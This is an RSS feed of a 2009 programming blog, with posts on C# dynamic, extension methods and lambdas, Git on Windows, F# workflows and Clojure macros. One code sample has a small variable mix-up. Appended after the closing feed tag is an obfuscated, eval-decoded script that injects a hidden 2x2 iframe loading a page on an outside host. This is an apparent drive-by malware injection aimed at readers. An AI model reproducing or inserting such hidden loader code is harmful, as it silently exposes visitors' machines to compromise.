<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; Mark</title>
	<atom:link href="http://www.lexparse.com/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C# Dynamic: The Downfall of Western Civilization</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/</link>
		<comments>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 20:14:41 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[end of days]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=141</guid>
		<description><![CDATA[I&#8217;ve known about the new dynamic keyword in C# 4 for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve known about the new <a href="http://msdn.microsoft.com/en-us/library/dd264736(VS.100).aspx" target="_blank"><em>dynamic</em> keyword in C# 4</a> for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but it can be tedious dealing with method name strings and the chain of method calls needed to get to the method invocation.  Variables declared as <em>dynamic</em> bypass static type checking.  </p>
<p>I came to the realization today this new keyword might well trigger the downfall of western civilization.  Not only can this keyword be used for local variables, but also method parameters and return values.  If you have experience working in Corporate America, you know that the there are plenty of developers out there who will abuse this keyword to no end.  Can you imagine a ginormous, multi-thousand source file code base littered with <em>dynamic</em>!!!  Methods that return dynamic!!!  Methods that take dynamic!!!  Does this not frighten anybody?  I&#8217;m so scared.  Am I alone?  Can we stop this?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>C# Pipelining: Extend Object With Pipe</title>
		<link>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/</link>
		<comments>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 15:17:27 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[extension methods]]></category>
		<category><![CDATA[Pipelining]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=128</guid>
		<description><![CDATA[Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: f(g(h(i(j(k(l(x)))))).  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by [...]]]></description>
			<content:encoded><![CDATA[<p>Pipelining can be a useful operation when you need to break up code into several steps, perhaps for readability.  Typically this is done to avoid a huge mess of nested functions: <em>f(g(h(i(j(k(l(x))))))</em>.  Without pipelining you typically need to assign the various steps to local variables.  You can get pipelining in C# by extending <em>object </em> with this extension method:</p>
<pre name="code" class="csharp">
public static TResult Pipe&lt;T, TResult&gt;(this T obj, Func&lt;T, TResult&gt; f)
{
   return f(obj);
}
</pre>
<p>Example calculating standard deviation with and without pipelining:</p>
<pre name="code" class="csharp">

List&lt;double&gt; values = new List&lt;double&gt;() { 1, 7, 8, 9, 10, 100, 1000, 1001, 100000 };

double average = values.Average();
double totalVariance = 0;
foreach (double value in values)
{
   totalVariance += Math.Pow(value - average, 2);
}

//OR you could do this:
//totalVariance = values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - average, 2));

double stdDeviation = Math.Sqrt(totalVariance / values.Count);

//Now with pipe
stdDeviation = values
   .Pipe(v =&gt; v.Average())
   .Pipe(avg =&gt; values.Aggregate(0.0, (variance, val) =&gt; variance + Math.Pow(val - avg, 2)))
   .Pipe(totVariance =&gt; Math.Sqrt(totalVariance / values.Count));
</pre>
<p>Even int gets Pipe():</p>
<pre name="code" class="csharp">
(2)
   .Pipe(i => Math.Pow(i, 42))
   .Pipe(i42 => Math.Sin(i42));
</pre>
<p>The benefit, as far as I&#8217;m concerned, is avoiding uncessary mutable variables in the function scope (or at least from leaking out to where they don&#8217;t need to be).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/10/c-pipelining-extend-object-with-pipe/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Stop Trying to Tame Dynamic Languages:  Google Closure Doesn&#8217;t Work</title>
		<link>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/</link>
		<comments>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 16:38:43 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Languages]]></category>
		<category><![CDATA[dynamic languages]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=122</guid>
		<description><![CDATA[You could imagine my excitement when I read the following on the Google Closure page: 
&#8220;It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain&#8221;
But then I tried the compiler and it thinks this [...]]]></description>
			<content:encoded><![CDATA[<p>You could imagine my excitement when I read the following on the <a href="http://code.google.com/closure/" target="_blank">Google Closure</a> page: </p>
<blockquote><p>&#8220;It also also checks syntax, variable references, and types, and warns about common JavaScript pitfalls. These checks and optimizations help you write apps that are less buggy and easier to maintain&#8221;</p></blockquote>
<p>But then I tried the compiler and it thinks this code is dandy:</p>
<pre name="code" class="javascript">
// ==ClosureCompiler==
// @compilation_level ADVANCED_OPTIMIZATIONS
// ==/ClosureCompiler==

function upper(s)
{
return s.toUpperCase();
}

function add(i)
{
return i + 1;
}

var i = add(new Array());

var s = upper(new Array());

alert(s);
alert(i);
</pre>
<p>Dynamic languages are evil.  They cannot be tamed by mankind.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/06/stop-trying-to-tame-dynamic-languages-google-closure-doesnt-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C# Lambdas:  Never implement IComparer and IEqualityComparer again</title>
		<link>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/</link>
		<comments>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 12:22:33 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Distinct]]></category>
		<category><![CDATA[IComparer]]></category>
		<category><![CDATA[IEqualityComparer]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Sort]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=99</guid>
		<description><![CDATA[If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the last two classes, in the history of mankind, that inherit from IComparer and IEqualityComparer:</p>
<pre name="code" class="c-sharp">
public class Comparer&lt;T&gt; : IComparer&lt;T&gt;
{
   private Func&lt;T, T, int&gt; _compareFn;

   public Comparer(Func&lt;T, T, int&gt; fn)
   {
      _compareFn = fn;
   }

   public int Compare(T x, T y)
   {
      return _compareFn(x, y);
   }

}

public class EqualityComparer&lt;T&gt; : IEqualityComparer&lt;T&gt;
{
   private Func&lt;T, T, bool&gt; _equalsFn;
   private Func&lt;T, int&gt; _getHashCodefn;

   public EqualityComparer(Func&lt;T, T, bool&gt; equalsFn, Func&lt;T, int&gt; getHashCodefn)
   {
      _equalsFn = equalsFn;
      _getHashCodefn = getHashCodefn;
   }

   public bool Equals(T x, T y)
   {
      return _equalsFn(x, y);
   }

   public int GetHashCode(T obj)
   {
      return _getHashCodefn(obj);
   }
}
</pre>
<p>2 Examples:</p>
<pre name="code" class="c-sharp">
List&lt;int&gt; l = new List&lt;int&gt; { 1, 2, 5, 7, 999, 234, 4 };
l.Sort(new Comparer&lt;int&gt;((x, y) =&gt; x &lt; y ? -1 : x == y ? 0 : 1));

Dictionary&lt;int, string&gt; d = new Dictionary&lt;int, string&gt;() { { 1, "a" }, { 2, "a" }, { 3, "b" } };

var d2 = d.Distinct(new EqualityComparer&lt;KeyValuePair&lt;int, string&gt;&gt;(
   (kvp1, kvp2) =&gt; kvp1.Value == kvp2.Value, kvp =&gt; kvp.Value.GetHashCode()));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Continuing Education: Concurrency</title>
		<link>http://www.lexparse.com/2009/11/01/continuing-education-concurrency/</link>
		<comments>http://www.lexparse.com/2009/11/01/continuing-education-concurrency/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 13:36:14 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Concurrency]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Actors]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[MVCC]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=94</guid>
		<description><![CDATA[
Learn about the actor model.
Actors in F#, the MailboxProcessor
The best book on Windows concurrency.  A must have if you do windows development: Concurrent Programming on Windows

 Learn about MVCC (Multi Version Concurrency Control): Link 1, Link 2

]]></description>
			<content:encoded><![CDATA[<ul>
<li>Learn about the <a href="http://ruben.savanne.be/articles/concurrency-in-erlang-scala" target="_blank">actor model</a>.</li>
<li>Actors in F#,<a href="http://blogs.msdn.com/concurrently_speaking/archive/2009/05/12/actors-in-f.aspx" target="_blank"> the MailboxProcessor</a></li>
<li>The best book on Windows concurrency.  A must have if you do windows development: <a href="http://www.amazon.com/gp/product/032143482X?ie=UTF8&#038;tag=lexp-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=032143482X">Concurrent Programming on Windows</a><img src="http://www.assoc-amazon.com/e/ir?t=lexp-20&#038;l=as2&#038;o=1&#038;a=032143482X" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />
</li>
<li> Learn about MVCC (Multi Version Concurrency Control): <a href="http://onlamp.com/pub/a/onlamp/2001/05/25/postgresql_mvcc.html" target="_blank">Link 1</a>, <a href="http://www.developer.com/open/article.php/877181/PostgreSQL-Ends-the-Waiting-Game.htm" target="_blank">Link 2</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/01/continuing-education-concurrency/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Git and Microsoft Development: A Success Story</title>
		<link>http://www.lexparse.com/2009/10/30/git-and-microsoft-development-a-success-story/</link>
		<comments>http://www.lexparse.com/2009/10/30/git-and-microsoft-development-a-success-story/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 14:47:42 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Mercurial]]></category>
		<category><![CDATA[MKS]]></category>
		<category><![CDATA[Perforce]]></category>
		<category><![CDATA[Source Control]]></category>
		<category><![CDATA[Source Safe]]></category>
		<category><![CDATA[SVN]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=78</guid>
		<description><![CDATA[It&#8217;s been one year since we decided to switch to Git from Visual Source Safe.  We&#8217;ve had up to 6 developers using Git with our .NET Visual Studio solution which consists of 31 project and 3000+ source files(C#, F#, ascx, etc&#8230;).  Git is an amazing piece of software.  If you are not [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been one year since we decided to switch to <a href="http://git-scm.com/" target="_blank">Git</a> from Visual Source Safe.  We&#8217;ve had up to 6 developers using Git with our .NET Visual Studio solution which consists of 31 project and 3000+ source files(C#, F#, ascx, etc&#8230;).  Git is an amazing piece of software.  If you are not using it, stop what you are doing, download it, and start learning it.  I&#8217;ve used Perforce, MKS, Mercurial, and CVS/SVN, but it would be very sad for me to go back to using something other than Git.</p>
<p>
Before I get more into Git, I want to get one thing straight: Source Safe is not source control software.  At best, it&#8217;s a fat random byte generation layer on top of the file system or network stack.  Calling it source control is the <a href="http://www.seinfeldscripts.com/TheSuicide.html" target="_blank">&#8220;biggest scam perpetrated on the American public since One Hour Martinizing&#8221;</a>.</p>
<p>Git does not have the notion of a central repository built into it, it is distributed.  You work directly on a repository.  Usually this is your own local repository.  You commit changes locally.  You have all your history and branches locally.  Branches can be shared across repositories by pushing and pulling.  Git comes with its own network protocol for doing this, but there are other protocols that can be used like SSH.  By starting with this distributed architecture, the very notion of having your own repository means you are working in your own seperate branch (a local branch can be tracked to a branch in a remote repository).  The result: branching is EASY.  It&#8217;s built in.  It&#8217;s part of everything you do.</p>
<p>Just because it&#8217;s distrubited doesn&#8217;t mean you can&#8217;t work with a repository that is considered the &#8220;central&#8221; or master repo.  This is what we do.  We all cloned from the master repo.  Our master branch is &#8220;tracked&#8221; to the master branch in the master repo.  We work locally, commit, and push our changes to the central repo (you might have to pull first before doing a push if you&#8217;ve changed files that someone else has).  We create other branches and push them to the master branch so that they are available to other developers when they do a pull.  Merging is done on pulls automatically.  Everything just works.</p>
<p>I&#8217;m not going to give you a course on Git here, there are other good sources for that, but I will give you some starter tips:</p>
<ul>
<li>Get the <a href="http://code.google.com/p/msysgit/downloads/list" target="_blank">msys Git</a> for windows.  Cygwin is evil.</li>
<li>Get <a href="http://sourceforge.net/projects/gitextensions/" target="_blank">git extensions</a>.  It adds git functionality to file explorer and Visual Studio.</li>
<li>Git, by default, considers all the bytes within all the files in the file system tree starting at the top level repository directory part of the repository.  Any bytes in that file tree are fair game.  This behavior can be changed.  See below.</li>
<li>Don&#8217;t think of the repositories as files and directories. Think a big byte blog.  Changes that happen are not happening in files, they are happening somewhere in this big ball of bytes.</li>
<li>Tags, branches, and commits are all the same thing: references to some point in the repository.  Branches have a different work flow.</li>
<li>
For visual studio projects, we use a .gitignore file with these contents:<br />
*.pdb<br />
*.dll<br />
*.exe<br />
*.suo<br />
*.scc<br />
*.vspscc<br />
*.user<br />
*.cache<br />
*.log<br />
*.rdl.data<br />
bin/<br />
obj/</li>
<li>For merging:<br />
1.	Download <a href="http://www.perforce.com/perforce/downloads/platform.html" target="_blank">p4merge</a>.<br />
2.	Create a batch file called p4diff.bat with the following contents and put it in the c:\windows dir:</p>
<p>p4merge %2 %5</p>
<p>3.	Add the following to the end of your .gitconfig file under c:\Documents and Settings\Username<br />
[mergetool "p4merge"]<br />
                cmd = p4merge $BASE $REMOTE $LOCAL<br />
[merge]<br />
                tool = p4merge<br />
[diff]<br />
                external = p4diff.bat</p>
<p>Now, when you call <em>git mergetool</em> p4merge will be used.
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/30/git-and-microsoft-development-a-success-story/feed/</wfw:commentRss>
		<slash:comments>41</slash:comments>
		</item>
		<item>
		<title>F# and Workflows (Monads)</title>
		<link>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/</link>
		<comments>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 14:41:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Haskell]]></category>
		<category><![CDATA[Lisp]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Monads]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=53</guid>
		<description><![CDATA[Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function that takes a filename and line number and returns a byte array of the data on that line in the file?  Might it not return a different byte array between subsequent calls if the file changed?  The solution: instead of executing the operations to read the file and return the data, the function creates a workflow(monad) that will do that.  So what comes back from the function is a workflow, something that represents the operations to read from the file.  In typical pragmatic form, Microsoft decided to use a better name for this in F#: Workflows.  The stuff in the Workflow is called the <em>compuation expression</em>.  These names make sense.</p>
<p>It turns out workflows are useful for other things like building <a href="http://msdn.microsoft.com/en-us/library/dd233209(VS.100).aspx" target="_blank">Sequence Expressions</a> and<a href="http://msdn.microsoft.com/en-us/library/dd233250(VS.100).aspx" target="_blank"> Async Workflows</a>.  The advantage is a syntactic sugar for creating what is usually a gobbledygook of disparate pieces of code to accomplish the same thing.  You can <a href="http://msdn.microsoft.com/en-us/library/dd233182(VS.100).aspx" target="_blank">create your own workflows</a> by creating a type with a couple of important mothods: Bind, Delay, and Return.  I really recommend watching <a href="http://channel9.msdn.com/pdc2008/TL11/" target="_blank">Luca Bolognese&#8217;s presentation</a> on F#.  Its worth watching for the section where he discusses Async Workflows.  Pretty amazing stuff.</p>
<p>If you come from the Lisp world, F# Sequence Expressions will seem familiar to you.  In <a href="http://www.clojure.org" target="_blank">Clojure </a>and Lisp they are called <a href="http://clojure.org/api#toc264" target="_blank">List Comprehensions</a> but are essentially a specialized Monad/Workflow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C#: .NET Generic Dictionary Improvement</title>
		<link>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/</link>
		<comments>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 18:30:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=56</guid>
		<description><![CDATA[Are you tired of doing the if(dict.Contains(key))&#8230; pattern?  Extend Dictionary:
public static R ValueOrSomethingElse&#60;K, V, R&#62;(this Dictionary&#60;K, V&#62; Col, K Key, Func&#60;V, R&#62; Transform, Func&#60;R&#62; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}
Example usage:

Dictionary&#60;string, DateTime&#62; BDays = new Dictionary&#60;string, DateTime&#62;();
...
BDays.ValueOrSomethingElse("Mark", d [...]]]></description>
			<content:encoded><![CDATA[<p>Are you tired of doing the <em>if(dict.Contains(key))&#8230;</em> pattern?  Extend Dictionary:</p>
<pre name="code" class="csharp">public static R ValueOrSomethingElse&lt;K, V, R&gt;(this Dictionary&lt;K, V&gt; Col, K Key, Func&lt;V, R&gt; Transform, Func&lt;R&gt; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}</pre>
<p>Example usage:</p>
<pre name="code" class="c-sharp">
Dictionary&lt;string, DateTime&gt; BDays = new Dictionary&lt;string, DateTime&gt;();
...
BDays.ValueOrSomethingElse("Mark", d =&gt; d.ToString("MM/dd/yy"), () =&gt; "Unknown BirthDate");
</pre>
<p>The second parameter is a lambda for transforming the value if the key is found.  The third parameter is a lambda to execute and return if the key is not found.  I have the third parameter(something else) as a lambda in case the &#8220;something else&#8221; is an expensive operation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Clojure and Lisp</title>
		<link>http://www.lexparse.com/2009/10/27/clojure-and-lisp/</link>
		<comments>http://www.lexparse.com/2009/10/27/clojure-and-lisp/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 17:47:50 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Languages]]></category>
		<category><![CDATA[Lisp]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=28</guid>
		<description><![CDATA[Over the years, I had heard much about Lisp.  Articles I had read, or colleagues who knew it, would espouse the benefits of learning it or using it.  Promised results ranged from making you a better imperative programmer to the highest intellectual enlightenment that could be achieved.  So I dove into Lisp. [...]]]></description>
			<content:encoded><![CDATA[<p>Over the years, I had heard much about Lisp.  Articles I had read, or colleagues who knew it, would espouse the benefits of learning it or using it.  Promised results ranged from making you a better imperative programmer to the highest intellectual enlightenment that could be achieved.  So I dove into Lisp.  Except it wasn&#8217;t diving.  Well it was like diving if the body of water you are diving into is covered with 18 inches of ice, and you need to use a sledge hammer to make a hole to dive into.  And then your mind and body react to diving into close to freezing water.  If you come from a strictly imperative programming background, learning Lisp and/or Functional Programming can be a battle.  I&#8217;m pretty sure it&#8217;s easier to learn Lisp and FP if you don&#8217;t know anything about programming.</p>
<p>So I started reading bits and pieces about Lisp, but without actually coding in it, I really didn&#8217;t get it.  I needed to code.  But what were the options?  Islands.  Islands with libraries that promised this and that but still little islands.  Then I met Rich Hickey and his language <a href="http://www.clojure.org" target="_blank">Clojure</a>.  Clojure is a much improved dialect of Lisp that compiles down to JVM or CLR byte code.  Continents.  Continents with lots of libraries and documentation.  I could now easily connect to SQL Server and do some real world stuff.  Yes, Clojure is a dynamic language, and I&#8217;ve mentioned I prefer static languages, but Clojure is filled with awesome.</p>
<p>Although Clojure along with other Lisps are functional programming languages, Lisps have a very unique property that other common FP languages don&#8217;t have:  <a href="http://en.wikipedia.org/wiki/Homoiconicity" target="_blank">Homoiconicity</a>.  Thats fancy talk for saying the code and data have the same shape.  Data structures and code are represented the same way: s-expressions.  This is what drives the powerful Lisp macro system.  The macro system is what makes the language changeable.  If there is a feature you want that&#8217;s not in the language, you can add it.  This point was really driven home to me when I learned about the F# pipeline operator: |&gt; .   I thought, see this is a nice feature that Clojure doesn&#8217;t have.  Until I realized that someone had built a pipeline macro for Clojure.  This is from core.clj:</p>
<pre name="code" class="c-sharp">
(defmacro -&gt;
  "Threads the expr through the forms. Inserts x as the
  second item in the first form, making a list of it if it is not a
  list already. If there are more forms, inserts the first form as the
  second item in second form, etc."
  ([x form] (if (seq? form)
              `(~(first form) ~x ~@(next form))
              (list form x)))
  ([x form &amp; more] `(-&gt; (-&gt; ~x ~form) ~@more)))
</pre>
<p>If F# didn&#8217;t have |&gt; there would be nothing you could do [<strong>Update</strong>:  That is not true.  As Brian pointed out in the comments, F# allows you to declare infix operators.].  Don&#8217;t get me wrong, I&#8217;m a HUGE fan of F#, it just doesn&#8217;t have a macro system.  But it is statically typed <img src='http://www.lexparse.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/27/clojure-and-lisp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>C#: Generics, lambdas, laziness</title>
		<link>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/</link>
		<comments>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 19:14:37 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[generics]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[laziness]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=10</guid>
		<description><![CDATA[You need a lazy sequence of something:

public static IEnumerable&#60;T&#62; Range&#60;T&#62;(T Start, T End, Func&#60;T, T&#62; inc) where T : IComparable&#60;T&#62;
{
   T result = Start;
   while (result.CompareTo(End) &#60;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}

Need [...]]]></description>
			<content:encoded><![CDATA[<p>You need a lazy sequence of something:</p>
<pre name="code" class="c-sharp">
public static IEnumerable&lt;T&gt; Range&lt;T&gt;(T Start, T End, Func&lt;T, T&gt; inc) where T : IComparable&lt;T&gt;
{
   T result = Start;
   while (result.CompareTo(End) &lt;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}
</pre>
<p>Need a sequence of integers up to a million:</p>
<pre name="code" class="c-sharp">
Funcs.Range(0, 1000000, (j =&gt; j + 1));
</pre>
<p>Need an infinite list of uppercase letters:</p>
<pre name="code" class="c-sharp">
Funcs.Range('A', '[', (c =&gt; c &gt;= 'Z' ? 'A' : (char)(c + 1)));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>